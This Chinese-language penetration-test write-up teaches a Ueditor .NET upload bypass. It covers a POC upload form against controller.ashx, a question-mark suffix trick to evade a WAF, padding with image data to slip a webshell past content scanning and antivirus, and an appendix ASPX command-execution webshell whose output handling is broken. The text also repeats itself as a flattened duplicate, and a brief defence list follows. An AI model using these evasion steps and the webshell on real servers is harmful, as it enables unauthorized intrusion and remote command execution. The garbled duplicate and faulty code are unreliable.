记一次Ueditor上传Bypss
字数 940 2025-08-22 18:37:22

Ueditor上传漏洞Bypass实战教学

漏洞背景

Ueditor是一款常用的富文本编辑器组件,在多个Web系统中被集成使用。该组件在上传功能中存在安全漏洞,攻击者可以利用该漏洞实现文件上传并获取Webshell权限。

环境发现

  1. 识别特征:通过fscan扫描发现目标系统存在Ueditor组件
  2. 初步确认:访问http://xx.xx.xx.xx/Scripts/Ueditor/net/controller.ashx验证组件存在
  3. 防护检测:目标系统存在WAF和杀毒软件,直接上传会被拦截

漏洞利用步骤

1. 基础利用尝试

使用公开POC构造上传表单:

<form action="http://xxx.xx.xx.xx/Scripts/Ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
    <p>shell addr: <input type="text" name="source[]" /></p>
    <input type="submit" value="Submit" />
</form>

2. 后缀名绕过

发现直接使用.aspx后缀会被拦截,采用以下方法绕过:

  • 使用非常规后缀格式:xxx.gif?.a?s?p?x
  • 通过插入问号干扰WAF对后缀名的检测

3. 内容检测绕过

虽然后缀名绕过成功,但上传包含Webshell内容的文件仍被拦截:

  • 尝试多种免杀Webshell均失败
  • 发现使用简短Webshell可以上传成功但流量被检测

解决方案:

  1. 使用天蝎Webshell(一种特殊构造的免杀Webshell)
  2. 添加脏数据绕过:
    • 在Webshell前后添加多行图片内容数据
    • 需要前后同时添加大量干扰数据,仅单侧添加无效

4. 最终成功

通过组合以下方法成功Bypass所有防护:

  • 非常规后缀名xxx.gif?.a?s?p?x
  • 天蝎Webshell
  • 前后添加大量图片数据作为干扰

关键知识点总结

  1. WAF绕过技巧

    • 非常规后缀名构造(插入特殊字符)
    • 请求参数混淆
  2. 内容检测绕过

    • 使用简短、特征不明显的Webshell
    • 添加大量无关数据干扰检测
    • 前后同时添加干扰数据效果最佳
  3. 工具选择

    • 使用fscan进行资产识别
    • 天蝎Webshell用于免杀
    • 蚁剑生成简短Webshell

防御建议

  1. 对Ueditor组件进行升级或替换
  2. 加强文件上传检测:
    • 严格限制上传文件类型
    • 检查文件内容而不仅是扩展名
  3. 部署多层级防护:
    • WAF规则更新
    • 文件内容动态检测
  4. 监控异常上传行为

附录:典型Webshell示例

简短Webshell(可能绕过部分检测):

<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start(Request["cmd"]).StandardOutput.ReadToEnd()); %>

天蝎Webshell(特征较少,需配合干扰数据使用):

<% 
    // 天蝎Webshell核心代码
    // 此处省略具体实现,实际使用时需配合大量图片数据
%>
Ueditor上传漏洞Bypass实战教学 漏洞背景 Ueditor是一款常用的富文本编辑器组件,在多个Web系统中被集成使用。该组件在上传功能中存在安全漏洞,攻击者可以利用该漏洞实现文件上传并获取Webshell权限。 环境发现 识别特征 :通过fscan扫描发现目标系统存在Ueditor组件 初步确认 :访问 http://xx.xx.xx.xx/Scripts/Ueditor/net/controller.ashx 验证组件存在 防护检测 :目标系统存在WAF和杀毒软件,直接上传会被拦截 漏洞利用步骤 1. 基础利用尝试 使用公开POC构造上传表单: 2. 后缀名绕过 发现直接使用 .aspx 后缀会被拦截,采用以下方法绕过: 使用非常规后缀格式: xxx.gif?.a?s?p?x 通过插入问号干扰WAF对后缀名的检测 3. 内容检测绕过 虽然后缀名绕过成功,但上传包含Webshell内容的文件仍被拦截: 尝试多种免杀Webshell均失败 发现使用简短Webshell可以上传成功但流量被检测 解决方案: 使用天蝎Webshell(一种特殊构造的免杀Webshell) 添加脏数据绕过: 在Webshell前后添加多行图片内容数据 需要前后同时添加大量干扰数据,仅单侧添加无效 4. 最终成功 通过组合以下方法成功Bypass所有防护: 非常规后缀名 xxx.gif?.a?s?p?x 天蝎Webshell 前后添加大量图片数据作为干扰 关键知识点总结 WAF绕过技巧 : 非常规后缀名构造(插入特殊字符) 请求参数混淆 内容检测绕过 : 使用简短、特征不明显的Webshell 添加大量无关数据干扰检测 前后同时添加干扰数据效果最佳 工具选择 : 使用fscan进行资产识别 天蝎Webshell用于免杀 蚁剑生成简短Webshell 防御建议 对Ueditor组件进行升级或替换 加强文件上传检测: 严格限制上传文件类型 检查文件内容而不仅是扩展名 部署多层级防护: WAF规则更新 文件内容动态检测 监控异常上传行为 附录:典型Webshell示例 简短Webshell (可能绕过部分检测): 天蝎Webshell (特征较少,需配合干扰数据使用):